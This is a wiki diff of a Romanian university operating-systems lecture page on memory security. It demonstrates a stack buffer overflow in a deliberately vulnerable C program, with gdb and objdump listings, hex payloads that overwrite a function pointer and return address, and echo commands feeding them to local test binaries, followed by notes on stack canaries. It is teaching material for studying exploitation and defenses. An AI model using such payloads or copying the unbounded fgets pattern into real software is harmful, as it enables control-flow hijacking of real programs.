This shows you the differences between two versions of the page.
so:curs:mem-sec [2020/04/04 06:41] razvan.deaconescu |
so:curs:mem-sec [2020/04/06 17:33] (current) alexandru.radovici |
||
---|---|---|---|
Line 16: | Line 16: | ||
* Filmări | * Filmări | ||
+ | * 3CA [[https://web.microsoftstream.com/video/631f6edd-2f5b-474e-9f87-ae4edecbd93d]] | ||
* 3CC, curs 11, partea 1: https://web.microsoftstream.com/video/ff52e02f-c2dc-49d6-b227-2dc9a1026625 | * 3CC, curs 11, partea 1: https://web.microsoftstream.com/video/ff52e02f-c2dc-49d6-b227-2dc9a1026625 | ||
* 3CC, curs 11, partea a 2-a: https://web.microsoftstream.com/video/7bae5cdb-0a54-4f2e-b5a5-df039790ac37 | * 3CC, curs 11, partea a 2-a: https://web.microsoftstream.com/video/7bae5cdb-0a54-4f2e-b5a5-df039790ac37 | ||
+ | | ||
+ | * Curs CA [[https://www.slideshare.net/alexandruradovici/sisteme-de-operare-securitatea-memoriei|slideshare]] | ||
===== Demo-uri ===== | ===== Demo-uri ===== | ||
Line 31: | Line 34: | ||
Acum putem parcurge secțiunile cu demo-uri de mai jos. | Acum putem parcurge secțiunile cu demo-uri de mai jos. | ||
- | ==== Adrese pentru biblioteci partajate ==== | + | ==== Reminder: Buffer overflow ==== |
- | Vrem să vedem cum ajung informațiile (date și instrucțiuni) dintr-o bibliotecă partajată într-un executabil. Pentru aceasta urmărim rularea comenzii ''pmap'' de la secțiunea anterioară. | + | La [[https://ocw.cs.pub.ro/courses/iocla|IOCLA]] am descoperit cum se folosește stiva și cum putem face primii pași în exploatarea unei vulnerabilități de tip buffer overflow. În exercițiile de la IOCLA am exploatat o vulnerabilitate de tipul buffer overflow și am suprascris adresa de retur a unei funcții cu o valoare convenabilă, modificând astfel fluxul de execuție al programului (//control flow hijack//). |
- | În cadrul comenzii observăm că atât fișierul executabil care a generat procesul (''exec-addr'') cât și fișierele de tip bibliotecă partajată sunt mapate în memorie. Fișierele de tip bibliotecă partajată sunt tot fișiere ELF, cu secțiuni și simboluri similare unui fișier executabil obișnuit. Observăm că pentru fiecare bibliotecă avem, în cadrul procesului (output-ul comenzii) mai multe zone de dimensiuni și permisiuni diferite, mapate în spațiul de adresă al procesului. Astfel, pentru o bibliotecă putem avea: | + | În subdirectorul ''buffer-overflow/'' trecem printr-un exercițiu de tipul buffer overflow. În fișierul ''buffer-overflow.c'' avem codul sursă al unui program cu o vulnerabilitate evidentă în funcția ''read_data()'': |
- | * o zonă readable/executable (''r-x'') pentru cod/instrucțiuni (secțiunea ''.text'') | + | <code C> |
- | * o zonă read-only (''r--'') pentru date read-only (secțiunea ''.rodata'') | + | static size_t read_data(void) |
- | * o zonă read-write (''rw-'') pentru date read-write (secțiunile ''.data'', ''.bss'') | + | { |
+ | [...] | ||
+ | char buffer[16]; | ||
- | Bibliotecile dinamice nu sunt, în general, mapate la o adresă predefinită. De aceea, dacă rulăm de mai multe ori executabilul și apoi comanda ''pmap'' vom vedea că zonele din biblioteci sunt mapate la adrese diferite de fiecare dată. Acest lucru se întâmplă din rațiuni de securitate folosind ASLR (//Address Space Layout Randomization//). Dacă un atacator vrea să folosească adrese din cadrul spațiului de adresă al procesului îi va fi dificil pentru că nu știe unde sunt mapate. | + | [...] |
- | + | fgets(buffer, 48, stdin); | |
- | Acest lucru poate fi observat prin rularea de mai multe ori a comenzii ''ldd'' peste executabil. La fiecare rulare va fi vorba de altă adresă unde va fi mapată biblioteca:<code bash> | + | [...] |
- | $ ldd exec-addr | + | |
- | linux-vdso.so.1 (0x00007fff399fe000) | + | |
- | libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8614d8a000) | + | |
- | /lib64/ld-linux-x86-64.so.2 (0x00007f861516b000) | + | |
- | $ ldd exec-addr | + | |
- | linux-vdso.so.1 (0x00007fff7a7b4000) | + | |
- | libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff7c3dfc000) | + | |
- | /lib64/ld-linux-x86-64.so.2 (0x00007ff7c41dd000) | + | |
</code> | </code> | ||
- | ==== Stiva unui proces ==== | ||
- | Dorim să urmărim evoluția stivei unui proces raportat la fluxul de execuție al acestuia (apeluri de funcții și rulare de instrucțiuni). Pentru aceasta accesăm subdirectorul ''stack/''; urmărim conținutul fișierului ''stack.c''. În acest fișier din funcția ''main'' apelăm funcția ''read_data''; funcția ''read_data'' definește un pointer de funcție (''func_ptr'') și un buffer (''buffer''). Pe moment nu ne interesează funcționalitatea mai mult de atât. | + | În funcție, deși ''buffer'' ocupă 16 octeți, citim ''48'' de octeți ducând la un buffer overflow. |
- | Compilăm programul folosind ''make''. | + | Dorim exploatarea acestui program în două moduri, ambele vizând suprascrierea unui pointer de cod (//code pointer//): |
+ | * suprascrierea pointer-ului de funcție ''func_ptr'' | ||
+ | * suprascrierea adresei de retur a funcției ''read_data()'' | ||
- | === Pornire proces === | + | Pentru aceasta folosim programele executabile deja create: ''buffer-overflow-32'' (pe 32 de biți) și ''buffer-overflow'' (pe 64 de biți). Vom genera intrări convenabile (//payload//-uri) pe care le vom furniza la intrarea programelor pentru a suprascrie pointerii de cod și a genera apelul funcției ''inject_func()''. |
- | Vrem să urmărim evoluția stivei în momentul în care programul apelează funcția ''read_data''. Pentru aceasta vom rula programul în debugger (''gdb'') și vom afișa codul dezasamblat, stiva, registrul de stivă/stack pointer-ul (''esp''), registrul de instrucțiune/instruction pointer-ul/program counter-ul (''eip'') sau frame pointer-ul (''ebp''). | + | <note warning> |
+ | **Nu** folosiți comanda ''make'' pentru a regenera executabilele. O nouă compilare a acestora va afecta codul generat și payload-urile de exploit-uri din acest demo nu vor mai funcționa. | ||
+ | </note> | ||
- | Pentru început pornim programul și investigăm codul dezasamblat, instruction pointer-ul, stack pointer-ul și stiva:<code bash> | + | Pentru a genera payload-urile, urmărim în fișierul executabil generat plasarea în memorie a buffer-ului. Folosim analiză statică și dezasamblăm codul executabilului folosind ''objdump'': |
- | $ gdb -q ./stack | + | |
- | Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/stack...done. | + | |
- | (gdb) b main | + | |
- | Breakpoint 1 at 0x80485aa: file stack.c, line 37. | + | |
- | (gdb) run | + | |
- | Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/./stack | + | |
- | warning: Could not load shared library symbols for linux-gate.so.1. | + | |
- | Do you need "set solib-search-path" or "set sysroot"? | + | |
- | Breakpoint 1, main () at stack.c:37 | + | <code> |
- | 37 size_t len = 0; | + | $ objdump -d -M intel buffer-overflow |
- | (gdb) disassemble | + | [...] |
- | Dump of assembler code for function main: | + | 0000000000400697 <actual_func>: |
- | 0x080485a1 <+0>: push %ebp | + | [...] |
- | 0x080485a2 <+1>: mov %esp,%ebp | + | |
- | 0x080485a4 <+3>: and $0xfffffff0,%esp | + | |
- | 0x080485a7 <+6>: sub $0x20,%esp | + | |
- | => 0x080485aa <+9>: call 0x804853f <read_data> | + | |
- | 0x080485af <+14>: mov %eax,0x1c(%esp) | + | |
- | 0x080485b3 <+18>: mov 0x1c(%esp),%eax | + | |
- | 0x080485b7 <+22>: mov %eax,0x4(%esp) | + | |
- | 0x080485bb <+26>: movl $0x80486b8,(%esp) | + | |
- | 0x080485c2 <+33>: call 0x8048390 <printf@plt> | + | |
- | 0x080485c7 <+38>: mov $0x0,%eax | + | |
- | 0x080485cc <+43>: leave | + | |
- | 0x080485cd <+44>: ret | + | |
- | End of assembler dump. | + | |
- | (gdb) p $eip | + | |
- | $1 = (void (*)()) 0x80485aa <main+9> | + | |
- | (gdb) p $esp | + | |
- | $2 = (void *) 0xffffd290 | + | |
- | (gdb) x/2wx $esp | + | |
- | 0xffffd290: 0x00000001 0xffffd354 | + | |
- | </code> | + | |
- | În secvența de mai sus, am folosit breakpoint pentru ''main'' și apoi am rulat programul până la breakpoint. Instruction pointer-ul este la începutul programului (adresa ''0x80485aa''), iar stack pointer-ul are valoarea ''0xffffd290''. Pe stivă se găsesc valori random din ceea ce era anterior pe stivă. | + | 00000000004006a8 <inject_func>: |
+ | [...] | ||
- | === Apelare de funcție === | + | 00000000004006c0 <read_data>: |
- | + | 4006c0: 55 push rbp | |
- | Următoarea instrucțiune care va fi rulată va fi apelul funcției ''read_data''. Este vorba de instrucțiunea:<code> | + | 4006c1: 48 89 e5 mov rbp,rsp |
- | => 0x080485aa <+9>: call 0x804853f <read_data> | + | 4006c4: 48 83 ec 20 sub rsp,0x20 |
+ | 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 | ||
+ | 4006cf: 00 | ||
+ | 4006d0: 48 8d 45 e0 lea rax,[rbp-0x20] | ||
+ | 4006d4: ba 10 00 00 00 mov edx,0x10 | ||
+ | 4006d9: be 41 00 00 00 mov esi,0x41 | ||
+ | 4006de: 48 89 c7 mov rdi,rax | ||
+ | 4006e1: e8 9a fe ff ff call 400580 <memset@plt> | ||
+ | [...] | ||
</code> | </code> | ||
- | Verificăm faptul că aceea este adresa funcției și apoi executăm acea instrucțiune; folosim ''si'': //step instruction//:<code bash> | + | Din secvența de dezasamblare de mai sus extragem informațiile: |
- | (gdb) p read_data | + | * adresa funcției ''actual_func'' este ''0x400697'' |
- | $1 = {size_t (void)} 0x804853f <read_data> | + | * adresa funcției ''inject_func'' este ''0x4006a8'' |
- | (gdb) si | + | * pointer-ul ''func_ptr'' este plasat la adresa ''rbp-0x8'' |
- | read_data () at stack.c:23 | + | * buffer-ul ''buffer'' este plasat la adresa ''rbp-0x20'' |
- | 23 { | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | => 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | 0x08048542 <+3>: sub $0x38,%esp | + | |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | 0x08048567 <+40>: movl $0x8048690,(%esp) | + | |
- | [...] | + | |
- | (gdb) p $eip | + | |
- | $2 = (void (*)()) 0x804853f <read_data> | + | |
- | (gdb) p $esp | + | |
- | $3 = (void *) 0xffffd28c | + | |
- | (gdb) x/3wx $esp | + | |
- | 0xffffd28c: 0x080485af 0x00000001 0xffffd354 | + | |
- | </code> | + | |
- | În rularea de mai sus am verificat faptul că apelul call se face către funcția ''read'' data și apoi facem apelul cu ajutorul operației ''si'' (//step instruction//) din GDB. Ca urmare a acestui apel au loc următoarele schimbări, echivalente pentru ''call'': | + | În mod similar, obținem informații și prin dezasamblarea executabilului pe 32 de biți: |
- | * Se face loc pe stivă, adică stack pointer-ul este decrementat cu dimensiunea cuvântului procesului (32 de biți, 4 octeți) de la valoarea ''0xffffd290'' la valoarea ''0xffffd28c''. | + | |
- | * Se scrie în acel loc pe stivă valoarea instruction pointer-ului, adică adresa următoarei instrucțiuni, în cazul nostru ''0x080485af''. | + | |
- | * Se sare la adresa funcției ''read_data'', adică ''0x0804853f''. | + | |
- | În pseudo-assembly, cele de mai sus pot fi considerate ca:<code> | + | |
- | pushl %eip ; equivalent to pushl 0x080485af | + | |
- | jmp read_data ; equivalent to jmp 0x0804853f | + | |
- | </code> | + | |
- | === Alocare spațiu pentru buffer local === | + | <code> |
+ | $ objdump -d -M intel buffer-overflow-32 | ||
+ | [...] | ||
+ | 08048546 <actual_func>: | ||
+ | [...] | ||
- | După saltul la funcție se execută instrucțiunile din acea funcție. Primele instrucțiuni vor salva pe stivă, după adresa de retur, fostul framepointer (''ebp'') și vor plasa noul frame pointer în poziția curentă a stivei. Pe stivă vom avea, de sus în jos: | + | 0804855f <inject_func>: |
- | * adresa de retur | + | [...] |
- | * fost frame pointer | + | |
- | Valoarea actuală a frame pointer-ului referă o adresă unde este stocat frame pointer-ul. Patru octeți mai sus este stocată adresa de retur. | + | |
- | Pentru a executa aceste două instrucțiuni rulăm de două ori comanda ''si'' (//step instruction//):<code bash> | + | 0804857f <read_data>: |
- | (gdb) si | + | 804857f: 55 push ebp |
- | 0x08048540 23 { | + | 8048580: 89 e5 mov ebp,esp |
- | (gdb) si | + | 8048582: 83 ec 28 sub esp,0x28 |
- | 0x08048542 23 { | + | 8048585: c7 45 f4 46 85 04 08 mov DWORD PTR [ebp-0xc],0x8048546 |
- | (gdb) disassemble | + | 804858c: 83 ec 04 sub esp,0x4 |
- | Dump of assembler code for function read_data: | + | 804858f: 6a 10 push 0x10 |
- | 0x0804853f <+0>: push %ebp | + | 8048591: 6a 41 push 0x41 |
- | 0x08048540 <+1>: mov %esp,%ebp | + | 8048593: 8d 45 e4 lea eax,[ebp-0x1c] |
- | => 0x08048542 <+3>: sub $0x38,%esp | + | 8048596: 50 push eax |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | 8048597: e8 74 fe ff ff call 8048410 <memset@plt> |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
- | Quit | + | |
- | (gdb) p $esp | + | |
- | $4 = (void *) 0xffffd288 | + | |
- | (gdb) p $ebp | + | |
- | $5 = (void *) 0xffffd288 | + | |
- | (gdb) x/4wx $ebp | + | |
- | 0xffffd288: 0xffffd2b8 0x080485af 0x00000001 0xffffd354 | + | |
</code> | </code> | ||
- | În urma acestor pași stack pointer-ul a mai scăzut cu încă un cuvânt de procesor (32 de biți, 4 octeți) la valoare ''0xffffd288''. Frame pointer-ul are aceeași valoare și, pe stivă, se găsește acum: | + | Din secvența de dezasamblare de mai sus extragem informațiile: |
- | * valoarea fostului frame pointer (''0xffffd2b8'') | + | * adresa funcției ''actual_func'' este ''0x08048546'' |
- | * adresa de retur a funcției (''0x080385af'') | + | * adresa funcției ''inject_func'' este ''0x0804855f |
+ | * pointer-ul ''func_ptr'' este plasat la adresa ''ebp-0xc'' | ||
+ | * buffer-ul ''buffer' este plasat la adresa ''ebp-0x1c'' | ||
- | În continuare se rezervă spațiu pe stivă (''0x38'' - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu ''0x38'' octeți. Ținând cont de actuala valoare (''0xffffd288'') rezultă că noua valoare va fi ''0xffffd288 - 0x38 = 0xffffd250''. Verificăm acest lucru executând o nouă instrucțiune, folosind ''si'' (//step instruction//) în GDB:<code bash> | + | Cu aceste informații putem calcula offset-ul dintre buffer și pointer-ul de funcție ''func_ptr'', respectiv adresa de retur a funcției. Adresa de retur a funcției se găsește la adresa ''ebp+4'' pe 32 de biți, respectiv la adresa ''rbp+8'' pe 64 de biți. Și genera payload-urile pentru exploatarea programelor. Aceste lucru este realizat în fișierul ''payloads.py'' și obținem payload-urile prin interpretarea fișierului: |
- | (gdb) si | + | |
- | 24 void (*func_ptr)(void) = actual_func; | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | 0x08048542 <+3>: sub $0x38,%esp | + | |
- | => 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | 0x08048567 <+40>: movl $0x8048690,(%esp) | + | |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
- | Quit | + | |
- | (gdb) p $esp | + | |
- | $6 = (void *) 0xffffd250 | + | |
- | </code> | + | |
- | Se schimbă într-adevăr valoarea stack pointer-ului. | + | <code> |
- | + | $ python3 payloads.py | |
- | === Adresă buffer pe stivă === | + | overwrite func_ptr (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 |
- | + | overwrite return address (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 | |
- | Vrem să vedem unde este alocat buffer-ul pe stivă. Pe lângă urmărirea codului în assembly, am decis să folosim ''memset'' pentru a umple buffer-ul cu valori ''0x41''. Folosim operații ''ni'' (next instruction) pentru a trece de apelul ''memset'', adică să ajungem la linia ''movl $0x8048690,(%esp)''':<code> | + | overwrite func_ptr (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 |
- | (gdb) ni | + | overwrite return address (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 |
- | 24 void (*func_ptr)(void) = actual_func; | + | overwrite return address (SSP, 64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00 |
- | (gdb) ni | + | |
- | 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x08048554 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x0804855c 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x0804855f 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x08048562 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 28 printf("Insert message (less than 16 bytes): "); | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | 0x08048542 <+3>: sub $0x38,%esp | + | |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | => 0x08048567 <+40>: movl $0x8048690,(%esp) | + | |
- | 0x0804856e <+47>: call 0x8048390 <printf@plt> | + | |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
</code> | </code> | ||
- | În continuare vrem să afișăm conținutul stivei între frame pointer + 4 (unde se găsește adresa de retur) până la poziția curentă a stack pointer-ului. Folosim o expresie ''while'' specifică GDB:<code> | + | Putem folosi aceste payload-uri pentru a exploata vulnerabilitatea de tip buffer overflow din cadrul programelor ''buffer-overflow'' și ''buffer-overflow-32'': |
- | (gdb) set $pos=0 | + | <code> |
- | (gdb) while ($pos <= ($ebp+4-$esp)) | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 |
- | >x/wx $ebp+4-$pos | + | Insert message (less than 16 bytes): Call injected function. |
- | >set $pos=$pos+4 | + | |
- | >end | + | |
- | 0xffffd28c: 0x080485af | + | |
- | 0xffffd288: 0xffffd2b8 | + | |
- | 0xffffd284: 0x0000002f | + | |
- | 0xffffd280: 0xffffd4cf | + | |
- | 0xffffd27c: 0x0804850d | + | |
- | 0xffffd278: 0x41414141 | + | |
- | 0xffffd274: 0x41414141 | + | |
- | 0xffffd270: 0x41414141 | + | |
- | 0xffffd26c: 0x41414141 | + | |
- | 0xffffd268: 0xf7e05bf8 | + | |
- | 0xffffd264: 0xffffd28e | + | |
- | 0xffffd260: 0xffffffff | + | |
- | 0xffffd25c: 0xf7e8e056 | + | |
- | 0xffffd258: 0x00000010 | + | |
- | 0xffffd254: 0x00000041 | + | |
- | 0xffffd250: 0xffffd26c | + | |
- | (gdb) p $ebp | + | |
- | $1 = (void *) 0xffffd288 | + | |
- | (gdb) p $esp | + | |
- | $2 = (void *) 0xffffd250 | + | |
- | (gdb) p &func_ptr | + | |
- | $3 = (void (**)(void)) 0xffffd27c | + | |
- | (gdb) p func_ptr | + | |
- | $4 = (void (*)(void)) 0x804850d <actual_func> | + | |
- | (gdb) p &buffer | + | |
- | $5 = (char (*)[16]) 0xffffd26c | + | |
- | (gdb) p buffer | + | |
- | $6 = 'A' <repeats 16 times> | + | |
- | </code> | + | |
- | În listing-ul de mai sus am afișat o parte din stivă, cuprinsă între (''ebp+4'' și ''esp''). Sunt afișate astfel: | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 |
- | * La adresa ''0xffffd28c'' este adresa de retur: ''0x080485af'' | + | Insert message (less than 16 bytes): Call actual function. |
- | * La adresa ''0xffffd288'', unde pointează și frame pointer-ul ''ebp'', se găsește valoarea fostului frame pointer: ''0xffffd2b8''. | + | |
- | * Următoarele două cuvinte de procesor sunt spațiu liber, de gardă. | + | |
- | * La adresa ''0xffffd27c'' se găsește pointer-ul ''func_ptr'' conținând adresa funcției ''actual_func'', adică ''0x0804850d''. | + | |
- | * Acest lucru se poate observa și prin afișarea adresei și valorii simbolului ''func_ptr'' în GDB. | + | |
- | * La adresa ''0xffffd26c'' (16 octeți mai jos) se găsește buffer-ul ''buffer'' conținând 16 valori ''A'' (adică ''0x41''). | + | |
- | * Acest lucru se poate observa și prin afișarea adresei și valorii simbolului ''buffer'' în GDB. | + | |
- | * În continuare se găsește spațiu disponibil pe stivă cu valori nerelevante pentru contextul curent. | + | |
- | Observăm din cele de mai sus cum este așezat buffer-ul pe stivă și faptul că pointer de funcție ''func_ptr'' este exact deasupra sa. Practic, dacă facem buffer overflow, am putea suprascrie acel pointer cu o altă valoare. | + | Call injected function. |
- | ==== Suprascriere de pointer de funcție ==== | + | |
- | Un deziderat al unui atac este suprascrierea unui pointer de funcție. Vom face acest lucru direct în cod C, pentru valoare demonstrativă. Vom inițializa în fișierul ''stack.c'' la linia 24 pointerul ''func_ptr'' la valoarea ''inject_func''. | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow |
+ | Insert message (less than 16 bytes): Call injected function. | ||
- | Într-un prim pas, facem acest lucru prin schimbarea liniei 24 de la:<code c> | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow |
- | void (*func_ptr)(void) = actual_func; | + | Insert message (less than 16 bytes): Call actual function. |
- | </code> la <code c> | + | |
- | void (*func_ptr)(void) = inject_func; | + | |
- | </code> | + | |
- | În acest moment, după compilare, se va afișa mesajul din funcția ''inject_func'':<code bash> | ||
- | user@host:~$ make | ||
- | gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c | ||
- | gcc -m32 stack.o -o stack | ||
- | user@host:~$ ./stack | ||
- | Insert message (less than 16 bytes): aaa | ||
Call injected function. | Call injected function. | ||
</code> | </code> | ||
- | Un mod mai "barbar" de a obține același lucru, dar mai apropiat de atacul propriu zis este să inițializăm pointer-ul ''func_ptr'' la adresa funcției ''inject_func''. Aflăm din executabil adresa funcției ''inject_func'':<code bash> | + | ==== Mecanisme defensive: SSP, ASan, ASLR / PIE ==== |
- | $ objdump --syms stack | grep inject_func | + | |
- | 08048521 g F .text 0000001e inject_func | + | |
- | </code> | + | |
- | și apoi schimbăm corespunzător linia ''24'' din fișierul ''stack.c'':<code c> | + | |
- | void (*func_ptr)(void) = (void (*)(void)) 0x08048521; | + | |
- | </code> | + | |
- | Am făcut cast la pointer de funcție ''void (*)(void)'' ca să prevenim warning-urile compilatorului. | + | |
- | Compilăm și rulăm programul cu efect rularea funcției ''inject_func'':<code> | + | Pentru a proteja programele de efectele buffer overflow-urilor, acestea pot fi augmentate cu mecanisme defensive. |
- | $ make | + | |
- | gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c | + | |
- | gcc -m32 stack.o -o stack | + | |
- | $ ./stack | + | |
- | Insert message (less than 16 bytes): ana | + | |
- | Call injected function. | + | |
- | </code> | + | |
- | În acest fel am forțat apelul unei alte funcții prin inițializarea pointer-ului ''func_ptr'' la adresa (în hexazecimal) a acelei funcții. | + | === SSP === |
- | ==== Stack buffer overflow pentru suprascriere pointer de funcție ==== | + | |
- | Desigur, ne propunem un atac cât mai realist pentru suprascrierea pointer-ului de fucție ''func_ptr''. Plasarea acestuia pe stivă deasupra buffer-ului ''buffer'' așa cum am indicat mai sus face posibilă executarea unui buffer overflow. Transmitem mai mult de 16 octeți la intrarea standard a programului (buffer-ul este definit ca ocupând 16 octeți, dar ''fgets'' e apelat greșit - vulnerabilitate) și suprascriem pointer-ul. | + | Un prim mecanism defensiv este Stack Smashing Protection (SSP) numit și Stack Guard, mecanism ce constă din plasarea unei valori (numită //canary//) pe stivă între buffere și adresa de retur. Această valoare este inițializată la intrarea într-o funcție și verificată la ieșirea din funcție. Putem urmări prezența //stack canary// prin analiză statică: |
- | Pentru ca să transformăm bug-ul în vulnerabilitate trebuie să suprascriem pointer-ul cu o adresă convenabilă, adică adresa funcției ''inject_func'', adică ''0x08048521''. | + | <code> |
- | + | $ objdump -d -M intel buffer-overflow-ssp | |
- | Pentru început refacem programul la starea sa inițială, adică refacem linia ''24'' la<code c> | + | |
- | void (*func_ptr)(void) = actual_func; | + | |
- | </code> și compilăm programul folosind ''make''. | + | |
- | Pentru început haideți să scriem un octet mai mult decât 16 să vedem ce se întâmplă:<code bash> | + | 0000000000400730 <read_data>: |
- | $ echo -n 'AAAAAAAAAAAAAAAAB' | ./stack | + | 400730: 55 push rbp |
- | Segmentation fault | + | 400731: 48 89 e5 mov rbp,rsp |
+ | 400734: 48 83 ec 30 sub rsp,0x30 | ||
+ | 400738: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | ||
+ | 40073f: 00 00 | ||
+ | 400741: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | ||
+ | [...] | ||
+ | 40079e: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] | ||
+ | 4007a2: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 | ||
+ | 4007a9: 00 00 | ||
+ | 4007ab: 74 05 je 4007b2 <read_data+0x82> | ||
+ | 4007ad: e8 1e fe ff ff call 4005d0 <__stack_chk_fail@plt> | ||
+ | 4007b2: c9 leave | ||
+ | 4007b3: c3 ret | ||
</code> | </code> | ||
- | Ce s-a întâmplat este că am suprascris o parte din pointer-ul ''func_ptr'' și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa indicată de ''func_ptr'' se transmite //Segmentation fault//. | ||
- | Dorința noastră este să sărim la funcția ''inject_func''. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției ''inject_func'' (adică ''0x21'', ''0x85'', ''0x04'', ''0x08'' -- suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul ''func_ptr'' și vor forța saltul la funcția ''inject_func'':<code bash> | + | Mai sus canary-ul a fost plasat pe stivă la adresa ''rbp-0x8''. La finalul funcției se verifică valoarea sa. Dacă valoarea a fost schimbată, a existat o suprascriere posibil cauzată din cauza unui atac de tipul buffer overflow și se apelează funcția ''<nowiki>__stack_chk_fail</nowiki>'' care va încheia execuția programului împreună cu afișarea unui mesaj specific: |
- | $ echo -en 'AAAAAAAAAAAAAAAA\x21\x85\x04\x08' | ./stack | + | |
- | Insert message (less than 16 bytes): Call injected function. | + | |
- | </code> | + | |
- | Observăm că am "deraiat" execuția uzuală a programului, suprascriind un pointer de funcție prin intermediul unui buffer overflow și apelând o altă funcție. Dacă nu am fi generat buffer overflow, adică dacă am fi păstrat datele de intrare sub 16 octeți, programul s-ar fi comportat normal:<code bash> | + | <code> |
